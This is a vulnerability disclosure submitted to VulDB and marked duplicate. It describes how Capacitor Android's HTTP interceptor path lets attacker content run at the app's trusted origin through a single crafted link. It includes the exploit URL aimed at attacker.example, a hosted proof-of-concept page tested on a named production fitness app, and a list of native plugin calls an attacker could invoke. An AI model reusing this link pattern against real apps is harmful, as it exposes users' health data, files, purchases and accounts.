Submit #954674: Ionic Capacitor Android (@capacitor/android) 8.4.1 Improper Access Controlsinfo

TitleIonic Capacitor Android (@capacitor/android) 8.4.1 Improper Access Controls
DescriptionA Capacitor Android application is a web app running inside a native Android WebView, where JavaScript executing at the app's own origin (https://localhost by default) gains access to a privileged native bridge (Capacitor.Plugins.*) exposing device APIs (camera, filesystem, health data, purchases, push notifications, etc.). Capacitor's security model relies on the WebView refusing to load any web content that isn't part of the packaged app at that origin; any link pointing elsewhere is expected to be redirected out to the system browser, where the bridge does not exist. Capacitor Android ships a built-in HTTP interceptor path, /_capacitor_http_interceptor_, used internally by the optional CapacitorHttp plugin to proxy XHR/fetch requests around CORS. This interceptor is wired directly into the WebView's local resource handler (WebViewLocalServer.shouldInterceptRequest) with NO check that the CapacitorHttp plugin is actually enabled (isEnabled() is never consulted before the request is routed into handleCapacitorHttpRequest()), and the app's outbound-navigation guard (Bridge.launchIntent(), invoked from BridgeWebViewClient) validates only the scheme and host of a target URL, never the path. Because https://localhost/_capacitor_http_interceptor_?u=<url> matches the app's own scheme+host, the navigation guard treats it as an ordinary in-app URL and never redirects it to the external browser. When the WebView is made to load that URL - for example via any clickable link the app renders from untrusted/user-generated content - the bridge fetches <url> server-side and streams the response back into the WebView AT THE APP'S OWN ORIGIN. Any HTML/JavaScript returned by the attacker-controlled <url> therefore executes with full same-origin privileges: it can read/write the app's localStorage and cookies, and, critically, call every @PluginMethod registered on Capacitor.Plugins.*, i.e. the complete native bridge surface the host app exposes, regardless of whether CapacitorHttp itself is enabled in that app's configuration. Root cause (two independent gaps, both required for a complete fix): 1. WebViewLocalServer.java (shouldInterceptRequest) routes any request whose path starts with the interceptor constant into handleCapacitorHttpRequest() without checking isEnabled(). 2. Bridge.java (launchIntent(), reached from BridgeWebViewClient.shouldOverrideUrlLoading) decides whether to hand a URL to the external browser using host+scheme only; the interceptor path is never excluded, so it is always treated as an internal, allowed navigation. Code references: - android/capacitor/src/main/java/com/getcapacitor/BridgeWebViewClient.java, line 27 - android/capacitor/src/main/java/com/getcapacitor/Bridge.java, line 389 (launchIntent) and line 97 (CAPACITOR_HTTP_INTERCEPTOR_START constant) - android/capacitor/src/main/java/com/getcapacitor/WebViewLocalServer.java, line 184 Delivery requires only that the victim tap a single hyperlink; no rooted device, no MITM position, and no prior compromise of the app or device are needed. Any Capacitor Android application that renders any attacker- or user-influenced clickable link inside its WebView (chat messages, comments, item/challenge descriptions, support-ticket bodies, deep-linked web content, ad creatives, etc.) is a viable delivery surface, independent of the specific app's own code quality - the flaw is in Capacitor's shared bridge/WebView plumbing, not in downstream app logic. PROOF OF CONCEPT (representative production app used for validation only: Sworkit, sworkitapp.sworkit.com, 5M+ installs on Google Play; Sworkit was not separately notified because the root cause is entirely in Capacitor's shared framework code, not in Sworkit's own implementation): Sworkit lets any authenticated, non-privileged user create a "personal challenge" with a Quill rich-text description; the stored HTML is rendered read-only via quill.root.innerHTML = quillHtml, so any inserted hyperlink remains clickable to every viewer of the challenge. An attacker inserts a link with: URL: https://localhost/_capacitor_http_interceptor_?u=https://attacker.example/payload Text: (anything, e.g. "View details") and shares the challenge with a target (e.g. via a team/invite link: https://app.sworkit.com/team/<id>). When the victim taps the link inside the Sworkit app, https://attacker.example/payload loads and executes AT https://localhost instead of opening in the system browser as expected (verifiable because the content renders inside the app rather than switching to Chrome). A weaponized PoC page was hosted at https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c/ (source: https://gist.github.com/Lytes/8935b12deeae423fcccfb479a89f0335) and confirmed to execute at the app origin when reached via: https://localhost/_capacitor_http_interceptor_?u=https://[REDACTED].com/8d6cb2515e1de036c88e80c747d3a274a6b7e04c944dda3c/ The page itself only logs readable values - no exfiltration, writes, or deletes were performed against production data - but from that execution context an attacker's script has direct access to Sworkit's full registered plugin set, including (illustrative, not exhaustive): Capacitor.Plugins.SworkitMobile.logInToFirebaseWithCustomToken({token}) // re-auth as arbitrary user if a token is obtained Capacitor.Plugins.SworkitMobile.healthRead({startDate,endDate}) // read raw health/fitness data Capacitor.Plugins.SworkitMobile.healthStore({...}) // write fabricated health data Capacitor.Plugins.SworkitMobile.getRemoteConfigValueForKey({key}) // read remote config / feature flags Capacitor.Plugins.SworkitMobile.signOutNativeFirebase() // silently sign the victim out Capacitor.Plugins.SworkitMobile.getAdvertisingId() Capacitor.Plugins.Filesystem.readFile/writeFile/downloadFile/deleteFile({...}) // arbitrary file read/write in app storage Capacitor.Plugins.Preferences.get/keys/clear() // read/enumerate/wipe all local key-value storage (tokens, settings, cached state) Capacitor.Plugins.Purchases.getCustomerInfo() / purchasePackage() / setProxyURL({url}) / logIn({appUserID}) / setEmail({email}) // read entitlements, trigger purchases, redirect billing traffic, tamper with billing identity Capacitor.Plugins.Camera.getPhoto/pickImages() // silent camera/photo-library access using a previously granted OS permission Capacitor.Plugins.LocalNotifications.schedule({...}) // schedule arbitrary local notifications Capacitor.Plugins.Intercom.registerIdentifiedUser/updateUser/loadWithKeys({...}) // impersonate the user's support-chat identity Backing OS permissions declared by this specific test app include ACTIVITY_RECOGNITION, BODY_SENSORS, READ_PHONE_STATE, health.READ_STEPS/READ_EXERCISE/WRITE_EXERCISE/READ_TOTAL_CALORIES_BURNED/WRITE_TOTAL_CALORIES_BURNED, and ACCESS_FINE_LOCATION - all reachable through the bridge once the origin boundary is bypassed. IMPACT: An attacker able to place one clickable link anywhere a victim can view it inside a Capacitor Android app's WebView achieves full JavaScript execution at the app's trusted origin, yielding read/write access to local storage/cookies and unauthenticated invocation of the app's entire native plugin surface - data theft, account-takeover primitives, billing/purchase tampering, file tamper/deletion, notification spoofing, and identity impersonation in third-party SDKs - all without leaving the app, and without requiring any mistake by the target app's own developers.
Source⚠️ https://gist.github.com/Lytes/4ba313b57a433eaf19ae1e7e85f10fe2#file-capacitorjsandroid-md
User
 Anonymous User
Submission09/01/2026 02:15 (2 months ago)
Moderation10/10/2026 17:06 (1 month later)
StatusDuplicate
VulDB entry412763 [ionic-team Capacitor up to 6.2.1/7.6.8/8.5.0 WebView Navigation Guard cross-domain policy]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!